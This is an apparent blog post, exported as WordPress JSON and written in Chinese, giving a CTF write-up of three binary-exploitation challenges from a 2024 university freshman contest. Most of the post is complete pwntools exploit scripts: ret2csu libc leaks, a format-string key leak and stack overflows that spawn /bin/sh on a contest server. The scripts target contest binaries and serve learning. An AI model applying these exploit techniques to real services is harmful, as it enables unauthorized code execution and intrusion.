{"id":111,"date":"2024-12-11T16:45:46","date_gmt":"2024-12-11T08:45:46","guid":{"rendered":"http:\/\/8.141.27.105\/?p=111"},"modified":"2025-04-25T16:07:26","modified_gmt":"2025-04-25T08:07:26","slug":"2024%e5%b9%b4uctc-ctf%e9%ab%98%e6%a0%a1%e6%96%b0%e7%94%9f%e7%bd%91%e5%ae%89%e8%b5%9b-pwn%e9%83%a8%e5%88%86wp","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/2024%e5%b9%b4uctc-ctf%e9%ab%98%e6%a0%a1%e6%96%b0%e7%94%9f%e7%bd%91%e5%ae%89%e8%b5%9b-pwn%e9%83%a8%e5%88%86wp\/","title":{"rendered":"2024\u5e74UCTC CTF\u9ad8\u6821\u65b0\u751f\u7f51\u5b89\u8d5b PWN\u90e8\u5206WP"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_71 counter-hierarchy ez-toc-counter ez-toc-transparent ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">\u76ee\u5f55<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #f4f4f4;color:#f4f4f4\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #f4f4f4;color:#f4f4f4\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/2024%e5%b9%b4uctc-ctf%e9%ab%98%e6%a0%a1%e6%96%b0%e7%94%9f%e7%bd%91%e5%ae%89%e8%b5%9b-pwn%e9%83%a8%e5%88%86wp\/#a_gift\" title=\"a gift\">a gift<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/2024%e5%b9%b4uctc-ctf%e9%ab%98%e6%a0%a1%e6%96%b0%e7%94%9f%e7%bd%91%e5%ae%89%e8%b5%9b-pwn%e9%83%a8%e5%88%86wp\/#userlogin\" title=\"userlogin\">userlogin<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/11\/2024%e5%b9%b4uctc-ctf%e9%ab%98%e6%a0%a1%e6%96%b0%e7%94%9f%e7%bd%91%e5%ae%89%e8%b5%9b-pwn%e9%83%a8%e5%88%86wp\/#EZ_stack\" title=\"EZ_stack\">EZ_stack<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"a_gift\"><\/span>a gift<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p id=\"u766b72cf\">\u5e38\u89c4\u7684ret2csu<\/p>\n\n\n\n<p id=\"u9d3e90d1\">\u627ecsu\u7247\u6bb5<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/JZR8ZUH_LFJGOQ_IHW42N-1-1024x555.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"555\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/JZR8ZUH_LFJGOQ_IHW42N-1-1024x555.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-128\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"ub8eb9a0e\">\u6240\u4ee5\u6709<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>def csu(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):\n\npayload = cyclic(16)\n\npayload += p64(csu_behind_gadget)\n\npayload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)\n\npayload += p64(csu_front_gadget)\n\npayload += p64(0) * 7\n\npayload += p64(main_addr)\n\np.sendlineafter('You Find Me?!!\\n',payload)<\/code><\/pre>\n\n\n\n<p id=\"u5e036131\"><\/p>\n\n\n\n<p id=\"u23cff6ed\">\u540e\u9762\u6309\u5957\u8def\u6765\u5c31\u884c<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\n\nfrom LibcSearcher import*\n\n#\u8fde\u63a5\u8fdc\u7a0b\n\ncontext(log_level = 'debug', arch = 'amd64', os = 'linux')\n\nelf=ELF('\/home\/monke\/pwn\/uctccttf\/pwncsu\/pwn')\n\np=remote(\"182.92.65.134\",41373)\n\n#p=process('\/home\/monke\/pwn\/uctccttf\/pwncsu\/pwn')\n\nwrite_plt=elf.plt&#91;\"write\"]\n\nwrite_got=elf.got&#91;\"write\"]\n\nmain_addr=elf.sym&#91;\"main\"]\n\nvuln=0x4011c3\n\npop_rdi=0x4012f3\n\nret=0x401019\n\npop_rsi_r15=0x401411\n\ncsu_behind_gadget=0x4012E6\n\ncsu_front_gadget=0x4012D0\n\nbss=0x404050\n\ndef csu(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):\n\npayload = cyclic(16)\n\npayload += p64(csu_behind_gadget)\n\npayload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)\n\npayload += p64(csu_front_gadget)\n\npayload += p64(0) * 7\n\npayload += p64(main_addr)\n\np.sendlineafter('You Find Me?!!\\n',payload)\n\ndef csu1(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):\n\npayload = cyclic(16)\n\npayload += p64(csu_behind_gadget)\n\npayload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)\n\npayload += p64(csu_front_gadget)\n\npayload += p64(0) * 7\n\npayload += p64(main_addr)\n\np.sendlineafter('You Find Me?!!\\n',payload)\n\np.sendlineafter('age?\\n',b'1'*7)\n\ncsu(0,0, 1, write_got, 8, write_got, 1,vuln)\n\nwrite = u64(p.recvuntil('\\x7f')&#91;-6:].ljust(8,b'\\x00'))\n\nprint(hex(write))\n\nlibc = ELF(\"\/home\/monke\/pwn\/uctccttf\/pwncsu\/libc.so.6\")\n\nlibcbase=write-libc.symbols&#91;'write']\n\nexecve=libcbase+libc.sym&#91;'execve']\n\nread=libcbase+libc.sym&#91;'read']\n\nprint(hex(read))\n\nprint(hex(elf.sym&#91;\"read\"]))\n\ncsu(0,0, 1, elf.got&#91;\"read\"], 16, bss, 0, vuln)\n\np.send(p64(execve) + b'\/bin\/sh\\x00')\n\n#csu(0,0, 1, execve, 0, 0, bss, main_addr)\n\ncsu(0,0, 1, bss, 0, 0, bss+8, vuln)\n\np.interactive()<\/code><\/pre>\n\n\n\n<p id=\"u2eab9461\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"userlogin\"><\/span>userlogin<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>\u5148\u7528generatePassword\u521d\u59cb\u5316\u4e86\u4e00\u4e2a\u5bc6\u94a5\uff0c\u5bc6\u94a5\u662f\u968f\u673a\u751f\u6210\u7684\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/SUJOCW8W_M9Q2FMW_8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1074\" height=\"642\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/SUJOCW8W_M9Q2FMW_8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-127\"  sizes=\"auto, (max-width: 1074px) 100vw, 1074px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u2e0bfca7\"><\/p>\n\n\n\n<p id=\"u6efa4a4e\">\u7136\u540e\u8fdb\u5165login\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/0E99L57KW6GZBMUMSQ9.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"638\" height=\"426\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/0E99L57KW6GZBMUMSQ9.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-126\"  sizes=\"auto, (max-width: 638px) 100vw, 638px\" \/><\/div><\/figure>\n\n\n\n<p id=\"ubfdc3c8a\">\u4e24\u4e2a\u5224\u65ad\uff0c\u7b2c\u4e00\u4e2a\u5224\u65ad\u8f93\u5165\u662f\u4e0d\u662fsupersecureuser, \u7b2c\u4e8c\u4e2a\u5224\u65ad\u8ddf\u8f93\u5165\u8ddf\u5bc6\u94a5\u662f\u5426\u4e00\u81f4\u3002\u7136\u540e\u5206\u522b\u8fdb\u5165user\u548croot\u51fd\u6570\u3002<\/p>\n\n\n\n<p id=\"ub118422e\">user\u51fd\u6570\uff1a<\/p>\n\n\n\n<p id=\"u0c9e904d\">\u65e0\u6ea2\u51fa\uff0c\u4f46\u6709fmt<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/M_D6I7GSMNIFI8@LF1TJ.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"582\" height=\"278\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/M_D6I7GSMNIFI8@LF1TJ.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-125\"  sizes=\"auto, (max-width: 582px) 100vw, 582px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u22cf2b47\">root\u51fd\u6570\uff1a<\/p>\n\n\n\n<p id=\"u104d8335\">\u6709\u6ea2\u51fa<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/CDQ9LKVIOT08Q3Z8I1BB.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"549\" height=\"234\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/CDQ9LKVIOT08Q3Z8I1BB.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-124\"  sizes=\"auto, (max-width: 549px) 100vw, 549px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u8cf711d9\">\u601d\u8def\u5c31\u662f\uff0c\u5148\u7528\u4e24\u6b21user\u51fd\u6570\u6765\u6cc4\u9732\u5bc6\u94a5\uff08\u56e0\u4e3a\u5bc6\u94a5\u957f16B\uff0c\u6240\u4ee5\u8981\u4e24\u6b21\uff09\uff0c\u7136\u540e\u8f93\u5165\u5bc6\u94a5\u8fdb\u5165root\u6765\u8fdb\u884c\u6ea2\u51fa\u5c31\u884c\uff0c\u672c\u9898\u8fd8\u7ed9\u4e86\u540e\u95e8\u51fd\u6570shell\uff0c\u76f4\u63a5\u7528\u5c31\u884c\u3002<\/p>\n\n\n\n<p id=\"u2f6ddf3f\">\u5bc6\u94a5\u7684\u6cc4\u9732\u9700\u8981\u52a8\u8c03\uff1a<\/p>\n\n\n\n<p id=\"u38626cab\">\u57fa\u7840\u504f\u79fb\u662f6<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/EPF3T970HKFVD03E.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"927\" height=\"689\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/EPF3T970HKFVD03E.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-123\"  sizes=\"auto, (max-width: 927px) 100vw, 927px\" \/><\/div><\/figure>\n\n\n\n<p id=\"udc93e8c6\">\u5bc6\u94a5\u4f4d\u7f6e\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/VKCU6_@T8FIBNTU-1024x779.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"779\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/VKCU6_@T8FIBNTU-1024x779.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-122\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"udc93e8c6\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/4BVDXQASCJRVNZ00449.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"648\" height=\"323\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/4BVDXQASCJRVNZ00449.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-121\"  sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/HMF8_J23USB_9V3@TPB-1024x508.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"508\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/HMF8_J23USB_9V3@TPB-1024x508.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-120\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u499fa04b\">\u4e0d\u65adfuzz\u5f97\u5230\u5bc6\u94a5\u504f\u79fb\u662f22\u548c23\u3002<\/p>\n\n\n\n<p id=\"ucb9f64c6\">\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\n\nfrom LibcSearcher import*\n\ncontext(arch=\"amd64\", os=\"linux\", log_level=\"debug\")\n\np = process(\"\/home\/monke\/pwn\/uctccttf\/login\/userlogin\")\n\np=remote(\"182.92.65.134\",41638)\n\n#\u8fde\u63a5\u8fdc\u7a0b\n\nret=0x401016\n\np.sendlineafter(\"Password: \",b\"supersecureuser\")\n\np.sendlineafter(\"Write Something\\n\",b\"%22$p\")\n\npasswd1=p.recv(18)\n\nprint(passwd1)\n\npasswd1=int(passwd1,16)\n\nprint(passwd1)\n\np.sendlineafter(\"Password: \",b\"supersecureuser\")\n\np.sendlineafter(\"Write Something\\n\",b\"%23$p\")\n\npasswd2=p.recv(18)\n\nprint(passwd2)\n\npasswd2=int(passwd2,16)\n\nprint(passwd2)\n\np.sendlineafter(\"Password: \",p64(passwd1)+p64(passwd2))\n\npayload=cyclic(32+8)+p64(ret)+p64(0x401261)\n\np.sendlineafter(\"Note: \\n\",payload)\n\np.interactive()<\/code><\/pre>\n\n\n\n<p id=\"u3c305253\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EZ_stack\"><\/span>EZ_stack<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p id=\"uc7a48ee4\">\u7b80\u5355\u7684\u6ea2\u51fa\uff0c\u7ed9\u4e86\u4e00\u4e2a\u540e\u95e8\u4f46\u662f\u63d0\u793a\u662f\u5047\u7684<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/KBRPN7W26VHN8W7T0G.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"612\" height=\"545\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/KBRPN7W26VHN8W7T0G.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-119\"  sizes=\"auto, (max-width: 612px) 100vw, 612px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/1JNVLS23_HLGUCY4S2S.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"525\" height=\"260\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/1JNVLS23_HLGUCY4S2S.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-118\"  sizes=\"auto, (max-width: 525px) 100vw, 525px\" \/><\/div><\/figure>\n\n\n\n<p id=\"udb6b7620\">\u672c\u9898\u8fd8\u7ed9\u4e86binsh\u548csystem\uff0c\u8fd8\u602a\u597d\u7684\uff0c\u90a3\u5c31\u76f4\u63a5\u6ea2\u51fa\uff0c\u7ed9system\u4f20\u53c2binsh\u5c31\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/EZ5GLBA7ZD2LP7_HF17X-1024x615.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"615\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/EZ5GLBA7ZD2LP7_HF17X-1024x615.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-117\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u4c28c23d\">\u4f46\u662f\u8fd9\u91cc\u6ea2\u51fa\u6211\u5361\u4e86\u4e00\u4f1a\uff0c\u6309\u7406\u6765\u8bf4\u5e94\u8be5\u662f80+8\u7684\uff0c\u4f46\u662f\u4e0d\u5bf9\uff0cfuzz\u4e86\u4e00\u4f1a\u5f97\u5230\u6b63\u786e\u7684\u6ea2\u51fa\u503c82\uff0c\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\n\nfrom LibcSearcher import*\n\n#\u8fde\u63a5\u8fdc\u7a0b\n\ncontext(log_level = 'info', arch = 'amd64', os = 'linux')\n\nelf=ELF('\/home\/monke\/pwn\/EZ_Stack')\n\np=remote(\"182.92.65.134\",40235)\n\n#p=process('\/home\/monke\/pwn\/EZ_Stack')\n\nret=0x40028b\n\npop_rdi=0x4007a2\n\nbinsh=0x602048\n\npayload=b'b'*82+p64(0x400781)+p64(0x400781)+p64(pop_rdi)+p64(binsh)+p64(0x40079d)\n\n#gdb.attach(p)\n\np.sendlineafter(\"Have fun!!!!\\n\",payload)\n\np.interactive()<\/code><\/pre>\n\n\n\n<p id=\"u23f0b4d8\"><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/DXW_1@P3QAXVQD8LL.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"830\" height=\"509\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/DXW_1@P3QAXVQD8LL.png\" 